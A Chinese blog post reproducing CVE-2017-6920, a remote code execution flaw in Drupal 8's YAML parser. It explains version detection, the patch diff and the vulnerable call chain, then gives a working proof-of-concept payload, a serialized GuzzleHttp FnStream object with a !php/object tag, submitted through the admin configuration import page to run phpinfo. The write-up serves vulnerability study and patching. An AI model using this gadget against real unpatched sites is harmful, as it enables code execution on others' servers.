美文网首页互联网漏洞文章收集
Drupal远程命令执行漏洞复现

Drupal远程命令执行漏洞复现

作者: BerL1n | 来源:发表于2018-06-28 18:48 被阅读0次

    漏洞描述

    Drupal官方发布了一个编号为CVE-2017- 6920 的漏洞,影响为Critical。这是Drupal Core的YAML解析器处理不当所导致的一个远程代码执行漏洞,影响8.x的Drupal Core。

    漏洞检测

    针对该漏洞,可采用两种方法进行检测:

    方法一:登陆Drupal管理后台,查看内核版本是8.x,且版本号低于8.3.4,则存在该漏洞;否则,不存在该漏洞;

    image.png

    方法二:在Drupal根目录下找到文件/core/lib/Drupal/Component/Serialization/ YamlPecl.php,定位到函数public static function decode($raw),如果该函数代码不包含" ini_set('yaml.decode_php', 0);"调用,则存在该漏洞;否则,不存在该漏洞。

    这是存在该漏洞的代码块

    image.png

    这是修复后的

    image.png

    漏洞分析

    通过两个版本的文件可以发现漏洞的触发点,如上图。。
    可以看到,8.3.4以后的版本 decode函数的开始处增加了如下的代码:

    static $init; 
    if (!isset($init)) 
    { // We never want to unserialize !php/object. 
    ini_set('yaml.decode_php', 0); 
    $init = TRUE; 
    } 
    

    漏洞所在函数decode的触发点代码如下:

    $data = yaml_parse($raw, 0, $ndocs, [ 
    YAML_BOOL_TAG => '\Drupal\Component\Serialization\YamlPecl::applyBooleanCallbacks', ]); 
    

    decode函数的参数$raw被直接带入了yamlparse函数中,文档官方对于yamlparse函数的描述如下:

    yamlparse
    (PECL yaml> = 0.4.0)yaml_parse  - 解析YAML流
    描述 
    mixed yaml_parse(string $ input [,int $ pos = 0 [,int&$ ndocs [,array $ callbacks = null]]])将全部或部分YAML文档流转换为PHP变量。
    参数 
    输入要解析为YAML文档流的字符串。
    pos从流中提取文档(所有文档为-1,第一个文档为0,...)。
    ndocs如果提供了ndocs,则会填充流中找到的文档数量。
    回调YAML节点的内容处理程序。YAML标记的关联数组=>可调用映射。有关更多详细信息,请参阅解析回调。
    返回值 
    以适当的PHP类型返回在输入中编码的值,或者在失败时返回FALSE。如果pos为-1,则将返回一个数组,其中每个在流中找到的文档都有一个条目。    
    

    第一个参数是需要parse成yaml的文档流。从上文来看,只有yaml_parse的第一个参数是外部可控的。官方对这个函数有一个特别的说明,也就是该漏洞的触发原理:

    Notes 
    Warning Processing untrusted user input with yamlparse() is dangerous if the use of unserialize() is enabled for nodes using the !php/object tag. This behavior can be disabled by using the yaml.decodephp ini setting. 
    警告:如果为使用!php / object标记的节点启用了unserialize(),则使用yamlparse()处理不可信用户输入是非常危险的。这种行为可以通过使用yaml.decodephp ini设置来禁用。
    

    即可以通过!php/object来声明一个节点,然后用这个!php/object声明的节点内容会以解序列化的方式进行处理;如果要禁止这样做,就通过设置yaml.decode_php来处理,这就是官方补丁在decode函数前面加的那几行代码因此。 ,这个远程代码执行漏洞的罪魁祸首首当是yaml_parse函数可能会用反序列化的形式来处理输入的字符串,从而导致通过反序列化类的方式来操作一些危险类,最终实现代码执行。显然,控制decode函数的参数即可触发该漏洞先定位。decode函数的调用位置,在/core/lib/Drupal/Component/Serialization/Yaml.php中第33行发现:

    public static function decode($raw) {
    $serializer = static::getSerializer(); 
    return $serializer::decode($raw); 
    }
    

    函数该调用了getSerializer函数,该跟踪函数在/core/lib/Drupal/Component/ Serialization/Yaml.php中第48行发现:

    protected static function getSerializer() {
    if (!isset(static::$serializer)) {
      // Use the PECL YAML extension if it is available. It has better
      // performance for file reads and is YAML compliant.
      if (extension_loaded('yaml')) {
        static::$serializer = YamlPecl::class;
      }
      else {
        // Otherwise, fallback to the Symfony implementation.
        static::$serializer = YamlSymfony::class;
      }
    }
    return static::$serializer;
    } 
    

    如果存在YAML扩展,$serializer就使用YamlPecl类,然后调用YamlPecl这个类中的decode函数;如果不存在YAML扩展,就用YamlSymfony类中的decode。函数显然,一定要迫使代码利用YamlPecl类中的decode函数,这需要引入YAML扩展
    我是在windows环境下测试的,用的wamp,所以只说在wamp中引入yaml扩展
    1、先看下自己php的编译版本
    Architecture : x86          编译系统架构:X86代表32位系统,X64代表64位系统
    Thread Safety     : enabled       线程安全: enabled 代表线程安全 disabled 非线程安全
    看下自己php的版本
    安装的时候去 http://pecl.php.net 搜索相对于的扩展
    nts--- 代表非线程安全 ts代表线程安全
    找打合适i版本和把dll放在php扩展目录下即可。
    想了解Linux下,看 PHP-yaml 安装
    (1)YAML编译
    http://pecl.php.net/package/yaml下载TGZ源码包
    (2)引用扩展
    将然后php_yaml.dll放入PHP扩展文件夹下,然后修改php.ini中,将extension_dir写成phpyaml.dll所存放的目录,然后加上extension=php_yaml.dll。

    image.png image.png

    最后重启apache的,看到的phpinfo中有YAML扩展,就说明安装成功,如图:


    image.png

    漏洞验证

    1.序列化一个GuzzleHttp\Psr7\FnStream类,序列化后的字符串,给该序列化字符串加上yaml的!php/object tag(注意一定要转义),最后得到的字符串如下:

    !php/object "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\0GuzzleHttp\\Psr7\\FnStream\0methods\";a:1:{s:5:\"close\";s:7:\"phpinfo\";}s:9:\"_fn_close\";s:7:\"phpinfo\";}"
    

    2.登录一个管理员账号,访问如下url: http://localhost/drupal830/admin/config/development/configuration/single/import然后我们进行如图所示的操作:

    image.png

    然后点击import按钮,就会执行phpinfo函数。


    image.png

    本文参考内容: https://paper.seebug.org/334/
    http://baijiahao.baidu.com/s?id=1581449721290524096&wfr=spider&for=pc

    相关文章

      网友评论

        本文标题:Drupal远程命令执行漏洞复现

        本文链接:https://www.haomeiwen.com/subject/dslnyftx.html